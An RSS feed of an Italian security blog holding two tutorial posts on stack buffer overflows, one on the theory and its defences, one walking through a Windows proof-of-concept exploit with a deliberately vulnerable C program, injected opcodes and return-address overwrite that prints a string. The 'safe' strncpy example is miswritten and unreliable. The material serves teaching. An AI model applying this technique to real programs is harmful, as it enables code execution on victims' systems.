<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Mind Unpacked &#187; Buffer overflow</title>
	<atom:link href="http://mindunpacked.com/tag/buffer-overflow/feed/" rel="self" type="application/rss+xml" />
	<link>http://mindunpacked.com</link>
	<description>informatica.elettronica.chimica.new stuff</description>
	<lastBuildDate>Tue, 22 Dec 2009 17:35:13 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.6</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<image>
<link>http://mindunpacked.com</link>
<url>http://mindunpacked.com/wp-content/plugins/maxblogpress-favicon/icons/favicon-2.ico</url>
<title>Mind Unpacked</title>
</image>
		<item>
		<title>Buffer overflow: Windows</title>
		<link>http://mindunpacked.com/2009/buffer-overflow-windows/</link>
		<comments>http://mindunpacked.com/2009/buffer-overflow-windows/#comments</comments>
		<pubDate>Fri, 09 Jan 2009 14:16:01 +0000</pubDate>
		<dc:creator>Marco</dc:creator>
				<category><![CDATA[Informatica]]></category>
		<category><![CDATA[arwin]]></category>
		<category><![CDATA[Buffer overflow]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://mindunpacked.com/?p=352</guid>
		<description><![CDATA[Nella parte introduttiva sull&#8217;overflow mi sembra di aver spiegato abbastanza chiaramente i fondamenti di questo tipo di errore, quasi un incubo per i programmatori. In questo articolo vedremo come sfruttare la suddetta vulnerabilità in ambiente Windows.
Il primo overflow
Passo subito alla pratica, proprio perché nel precedente articolo ho già trattato la parte teorica. Vediamo quindi un [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Nella <a href="http://mindunpacked.com/2008/il-buffer-overflow-introduzione/">parte introduttiva sull&#8217;overflow</a> mi sembra di aver spiegato abbastanza chiaramente i fondamenti di questo tipo di errore, quasi un incubo per i programmatori. In questo articolo vedremo come sfruttare la suddetta vulnerabilità in ambiente Windows.<span id="more-352"></span></p>
<p><strong>Il primo overflow</strong></p>
<p style="text-align: justify;">Passo subito alla pratica, proprio perché nel precedente articolo ho già trattato la parte teorica. Vediamo quindi un semplice programma vulnerabile all&#8217;overflow dello stack:</p>
<pre class="brush: cpp;">
#include
int main(int argc, char **argv) {
char buf[20];  //inizializzo un buffer di 20 bytes
FILE* f=NULL;
int i=0;
printf(&quot;\nTest BOF&quot;);
f=fopen(&quot;input.txt&quot;,&quot;rb&quot;); //apro il file...

while(!feof(f)) { //...e comincio a leggerne il contenuto
buf[i]=fgetc(f); //salvo i byte nel buffer
i++;
}
fclose(f); //chiudo il file
}
</pre>
<p style="text-align: justify;">Si tratta di un esempio tipico di buffer overflow, dovuto all&#8217;uso incauto di un buffer nella lettura da file. Se infatti il file contiene dati per più di 20 bytes il programma andrà in crash, visualizzando il classico avviso di Windows.</p>
<p><a href="http://mindunpacked.com/wp-content/uploads/2009/01/avviso.gif"><img class="aligncenter size-medium wp-image-353" title="Crash del programma" src="http://mindunpacked.com/wp-content/uploads/2009/01/avviso.gif" alt="Crash del programma" width="454" height="229" /></a></p>
<p style="text-align: justify;">Il codice, infatti, non fa altro che leggere un carattere alla volta dal file input.txt fino alla fine per poi copiarlo nella variabile buf. Naturalmente, poiché non c&#8217;è nessun controllo sulla dimensione del file, basta superare il limite del buffer per provocare la condizione di overflow. Nell&#8217;esempio, per far crashare il programma, ho inserito di proposito una stringa di 28 bytes (AAAABBBBCCCCDDDDEEEEFFFFGGGG) dove “FFFFGGGG” sono i byte eccedenti. Ma dove finiscono questi dati? Come detto la scorsa volta i dati che causano il traboccamento del buffer vanno a sovrascrivere lo stack della memoria. In questo caso, se si usa un debugger per visionare lo stato della memoria al momento dell&#8217;overflow, si noterà che il registro EIP ha assunto il valore 0&#215;47474747 e quello EBP il valore 0&#215;46464646, che rispettivamente equivalgono – in esadecimale – ai caratteri GGGG e FFFF.</p>
<p><center><script type="text/javascript">
heyos_ad_user = 11334;
heyos_ad_type = "G";
heyos_ad_format = "1";
heyos_color_border = "23292b";
heyos_color_bg = "23292b";
heyos_color_link = "FFFFFF";
heyos_color_text = "21b8ca";
heyos_color_url = "21b8ca";
</script>
<script type="text/javascript" src="http://admaster.heyos.com/core/bnr.js"></script></center></p>
<p><strong>Primi passi verso l&#8217;exploit</strong></p>
<p style="text-align: justify;">Modificare il registro EIP significa, in parole povere, riuscire a modificare l&#8217;esecuzione del programma, dirigendolo in una qualsiasi zona a nostro piacere. Una volta chiarito questo punto possiamo iniziare a progettare un exploit in grado di sfruttare l&#8217;overflow individuato per prendere il controllo del programma. Si procede studiando l&#8217;esecuzione del programma fino alla condizione di overflow, passo dopo passo, grazie ad un debugger. Vediamo ora la prima parte del programma. Dovete comunque tenere conto che se disassemblate un eseguibile da voi compilato l&#8217;output potrebbe differire dal mio, ciò è dovuto dalla differenza del compilatore, od anche da una versione diversa dello stesso:</p>
<pre class="brush: cpp;">
00401000 push ebp //salva EBP nello stack
00401001 mov ebp,esp
00401003 sub esp,1Ch //riserva spazio per buffer
00401006 mov dword ptr [ebp-18h],0 //variabile FILE* f
0040100D mov dword ptr [ebp-1Ch],0 //variabile int i
</pre>
<p style="margin-bottom: 0cm; text-align: justify;">Questa parte iniziale di codice viene generata dal compilatore e si “preoccupa” di riservare spazio nello stack utile per allocare buf (0&#215;1C byte) e le altre variabili. Sono riportati i valori dei registri dello stack ESP e EPB prima e dopo l&#8217;esecuzione delle istruzioni. Successivamente il programma esegue la stampa a video con printf() della stringa “Test BOF”. In linguaggio assembly i prametri di una funzione vengono passati mediante salvataggio nello stack: prima della chiamata a printf() troviamo infatti un&#8217;istruzione PUSH che memorizza nello stack l&#8217;offset della stringa di testo.</p>
<pre class="brush: cpp;">
00401014 push 407030h //offset stringa  “\nTest”
00401019 call 00401114 //printf()
0040101E add esp,4
...
</pre>
<p style="margin-bottom: 0cm;">Analizziamo ora il ciclo while che legge fino alla fine del file i byte memorizzandoli nella variabile buf:</p>
<pre class="brush: cpp;">
00401033 mov dword ptr [ebp-18h], eax
00401036 mov eax, dword ptr [ebp-18h]
00401039 mov eax, dword ptr [eax-0Ch]
0040103C and ecx,10h
0040103F test ecx,ecx //test di fine file (EOF)
00401041 jne 00401061
00401043 mov edx, dword ptr [ebp-18h]
00401046 push edx
00401047 call 004010C7 //lettura da file fgetc()
0040104C add esp,4
0040104F mov ecx, dword ptr [ebp-1Ch]
00401052 mov byte ptr [ebp+ecx-14h],al //memorizza il byte in buf
00401056 mov edx, dword ptr [ebp-1Ch]
00401059 add edx,1 //incremento variabile i (i++)
0040105C mov dword ptr [ebp-1Ch],edx
0040105F jmp 00401036
</pre>
<p style="margin-bottom: 0cm;">
<p style="margin-bottom: 0cm; text-align: justify;">l&#8217;istruzione alla riga 12 è quella che scrive nel buffer il dato letto da file mediante fget(). L&#8217;indirizzo del buffer è dato da [EBP+ECX-14h]; il valore vinere incrementato ad ogni iterazione grazie al registro ECX. E&#8217; tuttavia la parte finale del programma, quella che segue immediatamente all&#8217;istruzione fclose(), la più interessante: viene ripristinato il valore del registro EBP e per chiudere la procedura si esegue un&#8217;istruzione di ritorno RET. Tale istruzione ha l&#8217;effetto di estrarre una word (32 bit) dallo stack e di memorizzare in eip, modificando l&#8217;indirizzo dell&#8217;istruzione corrente e spostando così il flusso di esecuzione del programma. E&#8217; in questo momento che emergono i problemi dell&#8217;overflow e il programma raggiunge una condizione indefinita. Il ciclo while infatti, non si accorge di scrivere nel buffer più dati di quelli previsti (28 contro 20) e di conseguenza inizia a scrivere sopra lo stack alterando i valori in esso memorizzati.</p>
<pre class="brush: cpp;">
00401061 mov eax, dword ptr [ebp-18h]
00401064 push eax
00401065 call 00401071
0040106A add esp,4
0040106D mov esp,ebp
0040106F pop ebp //ripristina EBP
00401070 ret //istruzione di ritorno
</pre>
<p style="margin-bottom: 0cm; text-align: justify;">Tutto ciò si traduce con un errore che scatta nel momento in cui si eseguono le istruzioni POP e RET: i valori estratti dallo stack non sono quelli corretti, ma sono diventati parte dei dati letti da input; infatti, nel momento in cui si verifica il crash, ci si accorge che i registri EBP e EIP contengono i valori 0&#215;46464646 e 0&#215;47474747, che corrispondono proprio ai caratteri in eccedenza nel file input.txt (rispettivamente le stringe “FFFF” e “GGGG”).<br />
Vediamo ora com&#8217;è possibile creare un exploit capace di sfruttare l&#8217;overflow del programma di esempio. Si è visto come sia possibile controllare l&#8217;andamento del programma fornendo input in eccedenza, ma è possibile andare oltre: se nell&#8217;input invece di fornire stringhe di testo, memorizziamo istruzioni assembly a nostro piacimento, possiamo iniettare il nostro codice direttamente nello stack affidato al programma e quindi modificare l&#8217;andamento del flusso d&#8217;esecuzione, dirottando il registro EIP nel punto in cui si trova il codice iniettato. L&#8217;unica difficoltà di questa fase è il calcolo degli indirizzi e degli offset di allineamento, che dovranno combaciare perfettamente per far sì che il programma ad un certo punto esegua le nostre istruzioni; analizzando la stringa di overflow ci si accorge che il valore GGGG pilota il registro EIP. La struttura dell&#8217;exploit prevede, quindi, un input di questa forma: in testa possiamo sfruttare i primi 20 byte del buffer per memorizzare il codice che vogliamo far eseguire, aiutandoci con eventuali istruzioni NOP (istruzione assembly che corrisponde a no-operation, quindi ininfluente) per allineare il codice esattamente alla dimensione di 20 byte. Seguono due word da 32 bit che corrispondono ai valori scritti dall&#8217;overflow nei registri EBP e EIP; infine, poiché per questo exploit ho pensto di visualizzare una semplice stringa di testo, memorizzeremo nella parte finale dell&#8217;input quest&#8217;ultima, terminata da 0.</p>
<table border="1" cellspacing="0" cellpadding="4" width="100%" bordercolor="#000000">
<col width="60"></col>
<col width="38"></col>
<col width="51"></col>
<col width="51"></col>
<col width="57"></col>
<tbody>
<tr valign="top">
<td width="23%">
<p align="center"><strong>Codice 			iniettato</strong></p>
</td>
<td width="15%">
<p align="center"><strong>NOP 			(0&#215;90)</strong></p>
</td>
<td width="20%">
<p align="center"><strong>EBP</strong></p>
</td>
<td width="20%">
<p align="center"><strong>EIP</strong></p>
</td>
<td width="22%">
<p align="center"><strong>String\0</strong></p>
</td>
</tr>
<tr valign="top">
<td width="23%">0&#8230;</td>
<td width="15%">
<p align="right">&#8230;20</p>
</td>
<td width="20%">
<p align="center">1 			word (4byte)</p>
</td>
<td width="20%">1 			word (4byte)</td>
<td width="22%">“Exploit 			works”</td>
</tr>
</tbody>
</table>
<p style="margin-bottom: 0cm; text-align: justify;">Il registro EIP servirà per dirottare il flusso del programma verso l&#8217;inizio del codice da noi iniettato. Analizzando col debugger l&#8217;esecuzione del programma, si nota che il valore di EBP prima dell&#8217;overflow è 0&#215;0012FF80, mentre lo stack usato per memorizzare i dati inizia all&#8217;offset 0&#215;0012FF6C, che sarà proprio il punto in cui partirà il codice iniettato. Conosciamo quindi i valori delle word di EBP e di EIP, non resta che scrivere il codice da ineittare.<br />
Come ho accennato prima, descriverò un exploit di esempio che non frà altro che stampare a schermo una stringa di testo. E&#8217; ovvio che ci si può spingere oltre e creare i cosiddetti shellcode, ovvero del codice assembly in grado di aprire una shell sul sistema vittima, solitamente con privilegi da amministratore. Alla fine di questo articolo accennerò alla costruzione di uno shellcode, ma un argomento del genere andrebbe approfondito non poco, e richiederebbe un articolo a parte.</p>
<p style="margin-bottom: 0cm; text-align: justify;">Ritornando all&#8217;exploit, per stampare del testo abbiamo bisogno di conoscere l&#8217;offset in cui risiede la stringa e l&#8217;indirizzo  di printf(), che come si è visto prima, è localizzata a 0&#215;00401114. Il codice assembly da iniettare sarà il seguente, per un totale di 3+5+5=13 byte.</p>
<p style="margin-bottom: 0cm;">
<table border="1" cellspacing="0" cellpadding="4" width="408" bordercolor="#000000">
<col width="188"></col>
<col width="202"></col>
<tbody>
<tr valign="top">
<td width="188"><strong><span style="font-family: Courier New;">OPCODES</span></strong></td>
<td width="202"><strong><span style="font-family: Courier New;">ISTRUZIONE</span></strong></td>
</tr>
<tr valign="top">
<td width="188"><span style="font-family: Courier New;">83 EC 20</span></td>
<td width="202"><span style="font-family: Courier New;">SUB ESP, 0&#215;20</span></td>
</tr>
<tr valign="top">
<td width="188"><span style="font-family: Courier New;">68 x1 x2 x3 x4</span></td>
<td width="202"><span style="font-family: Courier New;">PUSH offset(stringa)</span></td>
</tr>
<tr valign="top">
<td width="188"><span style="font-family: Courier New;">E8 y1 y2 y3 y4</span></td>
<td width="202"><span style="font-family: Courier New;">CALL printf()</span></td>
</tr>
</tbody>
</table>
<p style="margin-bottom: 0cm;">
<p style="text-align: justify;">Per raggiungere  i 20 bytes richiesti dall&#8217;overflow, si aggiungono 7 istruzioni NOP alla fine del codice. Gli opcodes sono i codici esadecimali che corrispondono univocamente alle istruzioni assembly; ad esempio 83 EC identifica l&#8217;istruzione SUB ESP, che seguita dal valore 0&#215;20, sottrae 20 byte dal registro EBP. Non rimane che calcolare i valori “x1 x2 x3 x4” e “y1 y2 y3 y4” della PUSH e della CALL. L&#8217;offset della stringa di testo si calcola partendo dall&#8217;indirizzo iniziale del nostro buffer (dove inizia il codice, 0&#215;0012FF6C) a cui si aggiungono i 28 byte del buffer, ottenendo 0&#215;0012FF88. Per calcolare il valore di  y1 y2 y3 y4 occorre invece partire dall&#8217;indirizzo della funzione printf() 0&#215;00401114 a cui bisogna sottrarre l&#8217;offset in cui si trova l&#8217;istruzione CALL, che è dato da 0&#215;0012FF6C+3+5+5 = 0&#215;0012FF79. Quindi otteniamo il valore di 0&#215;002D119B. In definitiva:</p>
<table border="1" cellspacing="0" cellpadding="4" width="455" bordercolor="#000000">
<col width="220"></col>
<col width="217"></col>
<tbody>
<tr valign="top">
<td width="220"><strong><span style="font-family: Courier New;"><span style="font-size: small;">OPCODES</span></span></strong></td>
<td width="217"><strong><span style="font-family: Courier New;"><span style="font-size: small;">S</span></span><span style="font-family: Courier New;"><span style="font-size: small;">I</span></span><span style="font-family: Courier New;"><span style="font-size: small;">TRUZIONE</span></span></strong></td>
</tr>
<tr valign="top">
<td width="220"><span style="font-family: Courier New;"><span style="font-size: small;">83 EC 20</span></span></td>
<td width="217"><span style="font-family: Courier New;"><span style="font-size: small;">SUB ESP, 0&#215;20</span></span></td>
</tr>
<tr valign="top">
<td width="220"><span style="font-family: Courier New;"><span style="font-size: small;">68 88 FF 12 00</span></span></td>
<td width="217"><span style="font-family: Courier New;"><span style="font-size: small;">PUSH 0&#215;0012FF88</span></span></td>
</tr>
<tr valign="top">
<td width="220"><span style="font-family: Courier New;"><span style="font-size: small;">E8 9B 11 2D 00</span></span></td>
<td width="217"><span style="font-family: Courier New;"><span style="font-size: small;">CALL 0&#215;002D119B</span></span></td>
</tr>
<tr valign="top">
<td width="220"><span style="font-family: Courier New;"><span style="font-size: small;">90</span></span></td>
<td width="217"><span style="font-family: Courier New;"><span style="font-size: small;">NOP</span></span></td>
</tr>
<tr valign="top">
<td width="220"><span style="font-family: Courier New;"><span style="font-size: small;">90</span></span></td>
<td width="217"><span style="font-family: Courier New;"><span style="font-size: small;">NOP</span></span></td>
</tr>
<tr valign="top">
<td width="220"><span style="font-family: Courier New;"><span style="font-size: small;">90</span></span></td>
<td width="217"><span style="font-family: Courier New;"><span style="font-size: small;">NOP</span></span></td>
</tr>
<tr valign="top">
<td width="220"><span style="font-family: Courier New;"><span style="font-size: small;">90</span></span></td>
<td width="217"><span style="font-family: Courier New;"><span style="font-size: small;">NOP</span></span></td>
</tr>
<tr valign="top">
<td width="220"><span style="font-family: Courier New;"><span style="font-size: small;">90</span></span></td>
<td width="217"><span style="font-family: Courier New;"><span style="font-size: small;">NOP</span></span></td>
</tr>
<tr valign="top">
<td width="220"><span style="font-family: Courier New;"><span style="font-size: small;">90</span></span></td>
<td width="217"><span style="font-family: Courier New;"><span style="font-size: small;">NOP</span></span></td>
</tr>
<tr valign="top">
<td width="220"><span style="font-family: Courier New;"><span style="font-size: small;">90</span></span></td>
<td width="217"><span style="font-family: Courier New;"><span style="font-size: small;">NOP</span></span></td>
</tr>
</tbody>
</table>
<p style="text-align: justify;">Va specificato che gli indirizzi e gli offset delle istruzioni assembly vanno scritti al contrario, cioè leggendoli da destra verso sinistra. Per creare un file di input di fatto in questo modo basta ricorrere ad un <a href="http://mindunpacked.com/risorse/file_gen.cpp">semplice programma in c++</a> che unisca vari pezzi dell&#8217;exploit scrivendoli su di un unico file “input.txt”. Usando il file così generato come input per il programma mostrato ad inizio articolo, l&#8217;exploit prenderà il controllo del programma visualizzando la stringa “Exploit works”. In ogni caso, al termine della funzione printf() il programma si trova in un punto indefinito, e quindi andrà in crash comunque. Ciò si può evitare aggiungendo una chiamata ad una funzione come exit().</p>
<p><strong>Windows Shellcoding</strong></p>
<p style="text-align: justify;">Non approfondirò questo argomento, sarebbe troppo lungo e andrebbe aldilà dello scopo di questi articoli. Scrivere degli shellcode è complesso, e non cambia solo da sistema a sistema ma addirittura a seconda delle diverse versioni dello stesso. In generale uno shellcode dovrebbe aprire una shell sul sistema vittima, ma può essere usato per richiamare qualsiasi funzione di sistema approfittando dei privilegi del programma vulnerabile al buffer overflow. La difficoltà di scrivere shellcode universali è appunto dovuto al fatto che gli indirizzi delle varie funzioni cambiano a seconda del sistema. In windows è possibile risalire a tali indirizzi con un <a href="http://mindunpacked.com/risorse/arwin.c">comodo programma di nome arwin</a>. Esso permette di estrapolare l&#8217;indirizzo di una funzione presente in una determinata libreria di sistema (DLL).</p>
<p>C:\&gt;arwin kernel32.dll GetProcAddressarwin<br />
- win32 address resolution program &#8211; by steve hanna &#8211; v.01<br />
GetProcAddress is located at <strong>0&#215;77e7b332</strong> in kernel32.dll</p>
<p style="text-align: justify;">In questo caso siamo riusciti a capire l&#8217;indirizzo della funzione GetProcAddres, che fra l&#8217;altro è molto utile per risalire a qualsiasi altra API di sistema. Il codice da iniettare dovrà essere scritto usando gli indirizzi così ricavati, avrete quindi capito che  con uno shellcode si può fare qualsiasi cosa, capacità di programmazione assembly permettendo. <img src='http://mindunpacked.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://mindunpacked.com/2009/buffer-overflow-windows/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Il buffer overflow: introduzione</title>
		<link>http://mindunpacked.com/2008/il-buffer-overflow-introduzione/</link>
		<comments>http://mindunpacked.com/2008/il-buffer-overflow-introduzione/#comments</comments>
		<pubDate>Mon, 15 Dec 2008 22:05:15 +0000</pubDate>
		<dc:creator>Marco</dc:creator>
				<category><![CDATA[Informatica]]></category>
		<category><![CDATA[Buffer overflow]]></category>
		<category><![CDATA[c/c++]]></category>
		<category><![CDATA[shellcode]]></category>
		<category><![CDATA[stack]]></category>

		<guid isPermaLink="false">http://mindunpacked.com/?p=267</guid>
		<description><![CDATA[Questo è il primo di tre articoli in cui cercherò di trattare una delle vulnerabilità più gravi che affliggono il software: il buffer overflow. In questo primo articolo spiegherò più o meno approfonditamente cos&#8217;è il buffer, lo stack, il bound checking eccetera, ed i principi base che permettono di sfruttare un buffer overflow a vantaggio [...]]]></description>
			<content:encoded><![CDATA[<p style="margin-bottom: 0cm; text-align: justify;">Questo è il primo di tre articoli in cui cercherò di trattare una delle vulnerabilità più gravi che affliggono il software: il <strong>buffer overflow</strong>. In questo primo articolo spiegherò più o meno approfonditamente cos&#8217;è il buffer, lo stack, il bound checking eccetera, ed i principi base che permettono di sfruttare un buffer overflow a vantaggio di un eventuale attaccante.</p>
<p><span id="more-267"></span></p>
<p style="margin-bottom: 0cm;"><strong>Introduzione</strong></p>
<p style="margin-bottom: 0cm; text-align: justify;">Va anticipato che uno dei linguaggi di programmazione più predisposti al buffer overflow (d&#8217;ora in poi BOF) è senza dubbio il C/C++. Infatti a differenza di altri linguaggi permette al programmatore un controllo quasi completo sulla memoria &#8211; quasi quanto un linguaggio assembly – ma non sempre fa gli opportuni controlli, a scapito dei programmatori alle prime armi. Linguaggi come il Java, ad esempio, hanno una gestione molto sofisticata della memoria, ricorrendo ad algoritmi di de-allocazione e a sistemi come il <strong>Garbage Collector</strong>, quindi i rischi di BOF sono molto rari.<br />
Vediamo innanzi tutto cos&#8217;è il buffer. Nella sua accezione più generale un buffer è un&#8217;area di memoria contigua, con una dimensione prefissata, utilizzata per memorizzare dati omogenei. Nel linguaggio C un buffer è rappresentato dal puntatore all&#8217;indirizzo iniziale dell&#8217;area di memoria corrispondente. Alcune funzioni della libreria standard del C (strcpy(), strcat(), gets() e la famosa scanf()) operano su buffer di caratteri senza effettuare nessun controllo sulla dimensione del buffer di destinazione (bound checking): semplicemente arrestano la loro scrittura quando non hanno più caratteri disponibili. È evidente che in questi casi è abbastanza facile incorrere in un buffer overflow. Nel caso in cui il buffer mal gestito sia una variabile automatica, sia cioè allocato sullo stack, la situazione può venire sfruttata da un attaccante per sovrascrivere l&#8217;indirizzo di ritorno di una chiamata da funzione e forzare così l&#8217;esecuzione di codice malevolo, che può essere posizionato sia nel buffer stesso che in una variabile d&#8217;ambiente.<br />
In sintesi un buffer overflow avviene quando in un programma, al tempo di esecuzione, una certa istruzione tenta di scrivere dentro ad un buffer più informazioni di quante esso ne possa contenere.<br />
<center><script type="text/javascript">
heyos_ad_user = 11334;
heyos_ad_type = "G";
heyos_ad_format = "1";
heyos_color_border = "23292b";
heyos_color_bg = "23292b";
heyos_color_link = "FFFFFF";
heyos_color_text = "21b8ca";
heyos_color_url = "21b8ca";
</script>
<script type="text/javascript" src="http://admaster.heyos.com/core/bnr.js"></script></center></p>
<p style="margin-bottom: 0cm;"><strong>Organizzazione della memoria</strong></p>
<p style="margin-bottom: 0cm;">È possibile suddividere la memoria allocata ad un processo in tre zone, ognuna specializzata per una determinata funzione: un&#8217;area text, un&#8217;area dati statica ed un&#8217;area dati dinamica:</p>
<ul>
<li>
<p style="margin-bottom: 0cm; text-align: justify;">L&#8217;area text è un&#8217;area di sola 	lettura, collocata nella parte più bassa dello spazio di 	indirizzamento di un processo, in cui vengono memorizzate le 	istruzioni del programma ed è condivisa da tutti i processi che 	eseguono lo stesso codice; un tentativo di scrittura in quest&#8217;area 	dà origine ad un errore.</p>
</li>
<li>
<p style="margin-bottom: 0cm;">L&#8217;area dati statica è a sua volta 	suddivisa in due regioni (data e bss), una per i dati inizializzati 	ed un&#8217;altra per i dati inizializzati; le variabili statiche trovano 	posto in quest&#8217;area.</p>
</li>
<li>
<p style="margin-bottom: 0cm; text-align: justify;">L&#8217;area dati dinamica è divisa a 	sua volta in due parti: lo stack e  lo heap. Quest&#8217;ultima è un&#8217;area 	dati dinamica che viene allocata a run time attraverso le funzioni 	del C come malloc() e calloc(), e cresce verso gli indirizzi alti. 	Viene usato per gestire variabili dinamiche e puntatori. Andrò ora 	a descrivere un po&#8217; più nel dettaglio lo stack.</p>
</li>
</ul>
<p style="margin-bottom: 0cm;">
<p style="margin-bottom: 0cm;"><strong>Lo stack e sua gestione</strong></p>
<p style="margin-bottom: 0cm; text-align: justify;">Lo stack è quell&#8217;area di memoria che si trova sul fondo della memoria e che viene utilizzata durante le chiamate alle funzioni per salvare lo stato corrente dell&#8217;esecuzione e per passare i parametri per argomento. Viene gestito con la politica LIFO (Last In, First Out) e mediante due istruzioni fondamentali del linguaggio assembly: PUSH e POP. La prima memorizza un dato, la seconda lo estrae seguendo il modello LIFO, l&#8217;ultimo ad entrare è il primo ad uscire. La memorizzazione dei dati nello stack segue un ordine inverso, cioè parte dal fondo e man mano che le informazioni vengono memorizzate, sale verso la cima della memoria.<br />
La gestione dello stack è affidata a due registri a 32-bit molto importanti, chiamati EBP e ESP (base pointer e stack pointer), usati – rispettivamente – per delimitare la cima e il fondo dello stack; quando si esegue una PUSH, il registro ESP viene decrementato di un numero di byte pari alla dimensione del dato memorizzato, quando si esegue una POP il registro ESP viene invece incrementato. Le variazioni di ESP e EBP possono inoltre essere fatte anche direttamente, tramite operazioni di somma e sottrazione (ADD e SUB): ad esempio l&#8217;istruzione SUB ESP,5 riserva cinque byte nello stack. Questo tipo di struttura si rivela efficiente e utile nella gestione della gestione delle chiamate di funzioni e procedure in un programma, costituendo quello che è il meccanismo della “call chain”: una funzione può infatti richiamare un&#8217;altra funzione che a sua volta può chiamarne un&#8217;altra ancora e così via. Il sistema operativo deve poter tener traccia di tutte le chiamate innestate fra loro ed essere in grado di tornare a punti prestabiliti del programma dove richiesto. Ogni chiamata ad una funzione viene tradotta in una istruzione di tipo CALL, che ha l&#8217;effetto di congelare l&#8217;esecuzione del codice fino a quel punto, passando poi il controllo alla funzione chiamata, dopo aver salvato lo stato corrente e l&#8217;indirizzo di ritorno (return address), che servirà per riportare l&#8217;esecuzione nel punto in cui si era interrotta (il registro EIP è quello che punta sempre all&#8217;istruzione corrente). Da questo meccanismo si evince una prima considerazione importante: poiché l&#8217;indirizzo di ritorno viene salvato nello stack, una eventuale corruzione di tale area dati impedirà ad un qualsiasi programma di ritornare in uno stato consistente, con conseguente crash dell&#8217;esecuzione.<br />
Per approfondimenti riguardo allo stack si veda il seguente link: <a href="http://blacklight.gotdns.org/wiki/index.php/Stack">Stack on Hacknowledge</a></p>
<p style="margin-bottom: 0cm;">
<p style="margin-bottom: 0cm; text-decoration: none;"><strong>Usi malevoli del buffer overflow</strong></p>
<p style="margin-bottom: 0cm; text-decoration: none; text-align: justify;">Come ho detto ad inizio articolo abbiamo a che fare con un errore particolarmente grave, che permetterebbe ad un hacker di ottenere una shell (anche root in certi casi) sulla macchina vittima.<br />
Detto sinteticamente – comunque nei prossimi articoli vedremo il tutto più nel dettaglio – è possibile far eseguire del codice macchina semplicemente sovrascrivendo l&#8217;indirizzo di ritorno e facendolo puntare ad uno shellcode. Quest&#8217;ultimo è un “programma” in grado di sfruttare un buffer overflow, e solitamente provoca l&#8217;apertura di una shell &#8211; per questo shellcode &#8211; sulla macchina vittima. Uno shellcode viene solitamente scritto tramite codici esadecimali che identificano le varie istruzioni assembly da eseguire, successivamente questo codice viene iniettato nel buffer e fatto eseguire modificando l&#8217;indirizzo di ritorno della funzione vulnerabile. I rischi di un errore del genere in alcuni casi possono essere gravissimi, ad esempio un login che va in buffer overflow se il nome utente è troppo lungo&#8230;<br />
Ecco un&#8217;immagine che forse vi faciliterà la comprensione di quanto detto:</p>
<p style="margin-bottom: 0cm; text-decoration: none;">
<p style="text-align: center;"><img class="size-full wp-image-268 aligncenter" title="stack" src="http://mindunpacked.com/wp-content/uploads/2008/12/stack.gif" alt="" width="460" height="279" /></p>
<p style="margin-bottom: 0cm; text-decoration: none; text-align: justify;">In ogni caso questo è un overflow dello stack – uno dei più comuni – ma ne esistono anche altri meno conosciuti, ed anche più difficili da sfruttare: heap overflow, frame pointer exception e l&#8217;adjacent memory overflow.<br />
L&#8217;overflow dello stack rimane il più facile da sfruttare, poiché permette di maneggiare in maniera efficace i registri EBP, ESP e EIP, fondamentali per poter eseguire del codice</p>
<p style="margin-bottom: 0cm; text-decoration: none;">Ma vediamo ora com&#8217;è possibile prevenire un BOF:</p>
<ul>
<li>
<p style="margin-bottom: 0cm; text-decoration: none;"><strong>Non 	Executable Stack</strong>: questa è la soluzione più radicale. Modificando 	il kernel del sistema si può rendere il segmento che contiene i 	dati dello stack non-eseguibile, in modo che se accidentalmente o 	volutamente un programma dovesse finire in quellaa zona di memoria 	verrebbe generato un cosiddetto protection fault, terminando il 	processo.</p>
</li>
<li>
<p style="margin-bottom: 0cm; text-decoration: none;"><strong>Random 	Stack Address</strong>: Per poter pilotare il flusso di esecuzione, un 	exploit deve disporre di indirizzi affidabili e validi da assegnare 	ai registri EIP e ESP. Utilizzando uno stack con modalità di 	indirizzamento casuale, si potrebbe complicare la vita ad un 	eventuale attaccante nella realizzazione di exploit a compatibilità 	universale, che cioè funzionino in qualsiasi sistema in cui sia 	presente il programma vulnerabile.</p>
</li>
<li>
<p style="margin-bottom: 0cm; text-decoration: none;"><strong>Bound 	Checking</strong>: Il problema degli overflow nasce principalmente da 	disattenzioni da parte del programmatore e del compilatore, che non 	controlla in anticipo se una variabile è soggetta a “traboccare”. 	Comunque anche nel C/C++ sono presenti alcuni accorgimenti da 	rispettare, e perfino delle funzioni safe, che appunto effettuano 	dei controlli sull&#8217;input in modo che non superi la grandezza del 	buffer a cui è destinato. Di seguito degli esempi:</p>
</li>
</ul>
<pre class="brush: cpp;">
strcpy(buf, ptr); //insicuro
strncpy(buf, sizebuf(buf), ptr); //sicuro
</pre>
<p>oppure con il classico scanf():</p>
<pre class="brush: cpp;">

char buf[10];
scanf(&quot;%s&quot;, buf); //insicuro
scanf(&quot;%10s&quot;, buf); //sicuro
</pre>
<p style="margin-bottom: 0cm; text-decoration: none; text-align: justify;">Nei prossimi due articoli tratterò appunto questo tipo di buffer overflow, applicandolo ai due sistemi operativi più famosi, ovvero Windows e Linux.</p>
]]></content:encoded>
			<wfw:commentRss>http://mindunpacked.com/2008/il-buffer-overflow-introduzione/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>

<!-- www.000webhost.com Analytics Code -->
<script type="text/javascript" src="http://analytics.hosting24.com/count.php"></script>
<noscript><a href="http://www.hosting24.com/"><img src="http://analytics.hosting24.com/count.php" alt="web hosting" /></a></noscript>
<!-- End Of Analytics Code -->
